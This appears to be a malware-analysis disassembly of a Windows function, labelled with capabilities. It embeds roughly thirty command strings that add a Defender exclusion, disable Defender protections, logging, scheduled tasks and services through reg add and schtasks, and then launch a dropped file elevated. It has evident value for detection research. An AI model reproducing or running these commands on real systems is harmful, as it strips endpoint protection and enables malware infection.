Function at 0x140146300
Capabilities:
Create directory
Create process on windows
Disable system features via registry on windows
Disable windows defender features via registry on windows
Execute command
Persist via run registry key
Persist via windows service
Schedule task via schtasks
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x14014e040]
xor rax, rsp
mov qword [rbp + 0xd0], rax
lea rcx, [0x14014a510]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell.exe__Command__Add_MpPreference__ExclusionPath__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiVirus___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderMpEngine___v__MpEnablePus___t_REG_DWORD__d__0___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableBehaviorMonitoring___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableIOAVProtection___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableOnAccessProtection___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableRealtimeMonitoring___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderReal_Time_Protection___v__DisableScanOnRealtimeEnable___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderReporting___v__DisableEnhancedNotifications___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderSpyNet___v__DisableBlockAtFirstSeen___t_REG_DWORD__d__1___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderSpyNet___v__SpynetReporting___t_REG_DWORD__d__0___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSoftwarePoliciesMicrosoftWindows_DefenderSpyNet___v__SubmitSamplesConsent___t_REG_DWORD__d__0___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSystemCurrentControlSetControlWMIAutologgerDefenderApiLogger___v__Start___t_REG_DWORD__d__0___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSystemCurrentControlSetControlWMIAutologgerDefenderAuditLogger___v__Start___t_REG_DWORD__d__0___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.schtasks__Change__TN__MicrosoftWindowsExploitGuardExploitGuard_MDM_policy_Refresh___Disable
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.schtasks__Change__TN__MicrosoftWindowsWindows_DefenderWindows_Defender_Cache_Maintenance___Disable
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.schtasks__Change__TN__MicrosoftWindowsWindows_DefenderWindows_Defender_Cleanup___Disable
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.schtasks__Change__TN__MicrosoftWindowsWindows_DefenderWindows_Defender_Scheduled_Scan___Disable
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.schtasks__Change__TN__MicrosoftWindowsWindows_DefenderWindows_Defender_Verification___Disable
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSoftwareMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun___v__Windows_Defender___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKCUSoftwareMicrosoftWindowsCurrentVersionRun___v__Windows_Defender___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_delete__HKLMSoftwareMicrosoftWindowsCurrentVersionRun___v__WindowsDefender___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSystemCurrentControlSetServicesWdBoot___v__Start___t_REG_DWORD__d__4___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSystemCurrentControlSetServicesWdFilter___v__Start___t_REG_DWORD__d__4___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSystemCurrentControlSetServicesWdNisDrv___v__Start___t_REG_DWORD__d__4___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSystemCurrentControlSetServicesWdNisSvc___v__Start___t_REG_DWORD__d__4___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSystemCurrentControlSetServicesWinDefend___v__Start___t_REG_DWORD__d__4___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.reg_add__HKLMSystemCurrentControlSetServicesSecurityHealthService___v__Start___t_REG_DWORD__d__4___f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14014b27c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
lea rcx, [0x14014b280]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xor edx, edx
lea rcx, [0x14014b298]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
mov ecx, 0x40
call fcn.140147ed0
mov rbx, rax
mov qword [rbp - 0x60], rax
movdqa xmm0, xmmword [0x14014b3c0]
movdqu xmmword [rbp - 0x50], xmm0
movups xmm0, xmmword [0x14014b2c0]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14014b2d0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x14014b2e0]
movups xmmword [rax + 0x20], xmm0
mov byte [rax + 0x30], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x40]
call fcn.140148c64
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.140147930
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rdi
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
cmp qword [rbp + 0x48], 0
jne 0x140146648
xor ebx, ebx
nop dword [rax]
mov rdx, qword [0x14014e968]
movzx edx, byte [rdx + rbx]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::put_char____ptr64]
inc rbx
cmp rbx, 0x18
jb 0x140146580
lea rcx, [rbp - 0x38]
call fcn.140147870
test rax, rax
jne 0x1401465c9
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x60], 0
lea rax, str.runas
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], 0xf
cmova rax, qword [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp qword [rbp + 0x48], 0
je 0x14014668f
mov r8, qword [0x14014e970]
mov rdx, qword [0x14014e968]
sub r8, rdx
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x38]
call fcn.140147870
test rax, rax
jne 0x14014668f
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x40], rdi
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x38], rax
cmp qword [rbp + 0x48], 0
je 0x1401466e7
lea rcx, [rbp + 0x38]
mov rax, qword [rbp - 0x20]
cmp qword [rax], rcx
jne 0x1401466e7
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
mov qword [rax], rcx
mov rax, qword [rbp]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x18]
mov dword [rax], edx
cmp byte [rbp + 0x44], 0
je 0x1401466f6
lea rcx, [rbp - 0x38]
call fcn.140147870
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140146754
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14014674f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14014674f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14014814c
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.140147eb0
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret